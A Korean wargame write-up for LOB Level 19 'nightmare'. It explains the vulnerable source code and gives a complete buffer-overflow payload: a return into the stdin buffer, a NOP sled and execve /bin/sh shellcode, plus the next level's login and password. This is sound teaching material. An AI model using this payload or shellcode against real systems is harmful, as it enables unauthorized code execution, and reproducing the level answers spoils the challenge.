DongDD's IT

[LOB] Level19 nightmare 본문

Wargame/LOB

[LOB] Level19 nightmare

DongDD 2018. 2. 8. 16:10

[LOB] Level19 nightmare



Problem



이번 문제에서도 xavius 실행 파일과 xavius.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
main()
{
        char buffer[40];
        char *ret_addr;
 
        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);
 
        if(*(buffer+47== '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }
 
        if(*(buffer+47== '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }
 
        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+444);
        while(memcmp(ret_addr, "\x90\x90"2!= 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1== '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }
 
        // stack destroyer
        memset(buffer, 044);
        memset(buffer+4800xbfffffff - (int)(buffer+48));
 
        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-300003000-40);
}
 
cs


이번 문제는 소스 코드가 꽤나 복잡해보였다.

buffer의 크기가 40 bytes였고 이번에는 fgets를 통해 stdin으로 256 bytes 만큼을 입력받게 되어있었다.

buffer의 48번째 글자가 "\xbf"가 아니고 "\x08"이 아니여야 한다. 즉, 프로그램 내의 일부로 return하거나 stack 영역으로 return할 수 없게 되어있었다.

그리고 ret_addr에 buffer의 45~48번째 글자를 복사한다. 그 후 그 주소에 있는 값이 "\x90\x90"이 아닐 때까지 while문을 반복해 ret_addr을 증가시키다가 만약 leave, ret에 해당 하는 코드를 만난다면 종료시킨다. 즉, leave, ret가 사용되는 library에 존재하는 함수들의 사용을 막은 것이다.

그 후에 buffer를 모두 초기화 시키고 return address 위치를 제외한 모든 stack영역 초기화, LD_LIBRARY_PATH, LD_PRELOAD를 사용하지 못하도록 LD영역을 초기화시킨다.


stack, library, code segment 영역에 있는 값들을 사용하기에는 어려움이 많아 보인다.


Solution


처음에 여러 시도를 해보다가 방법을 찾지 못했는데 leave, ret이 안쓰이는 함수가 있는 지 찾다가 fgets에서 stdin에 입력한 정보들이 저장된다는 것을 알게 되었고 leave, ret도 없다는 것을 알게 되어 이 영역을 이용하면 해결할 수 있을 것 같았다.


1. stdin 이용



먼저 입력한 값이 stdin의 어디에 저장되는지 확인하기 위해 "A"*260의 dummy 값이 들어간 파일을 생성하여 gdb를 통해 input으로 넣어주고 stdin을 확인해보앗다.

stdin을 확인해보니 여러 주소들이 있었다. 이 주소들을 확인해보니 data가 들어가는 위치를 찾을 수 있었다.

stdin의 data가 들어가는 시작 주소는 0x40015000인 것을 알 수 있었다.


stdin의 data 시작 주소 : 0x40015000



그리고 stdin에 있는 data로의 return address를 입력해 if문을 통과할 수 있는지 확인해보았다. 그랬더니 무사히 프로그램이 종료되는 것을 볼 수 있었다. 이 주소에 shell code를 넣고 return address를 이 위치로 설정하면 될 것 같았다.



NOP+ shell code를 넣었을 때의 위치를 알아내기 위해 임의로 주소를 작성해 shell code가 들어가는 위치를 확인해보았다.


NOP+shell code 시작 위치 : 0x40015030

사용한 shell code(24 bytes) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


이 두가지 값을 이용해 payload를 작성했다.


Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, stdin내의 shell code 주소, 0x40015034) + NOP sled(30 bytes, "\x90"*30) + shell code(24 bytes)


이 Payload를 input으로 넣어 실행하니 shell을 얻을 수 있었다.






**************     Answer & Flag     **************



1. stdin 이용


Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, stdin내의 shell code 주소, 0x40015034) + NOP sled(30 bytes, "\x90"*30) + shell code(24 bytes)


input : "A"*44 + "\x34\x50\x01\x40" + "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"





Next ID : xavius

Next PW : throw me away


'Wargame > LOB' 카테고리의 다른 글

[LOB] Level20 xavius  (0) 2018.02.10
[LOB] Level18 succubus  (0) 2018.02.07
[LOB] Level17 zombie_assassin  (0) 2018.01.31
[LOB] Level16 assassin  (0) 2018.01.31
[LOB] Level15 giant  (0) 2018.01.30
Comments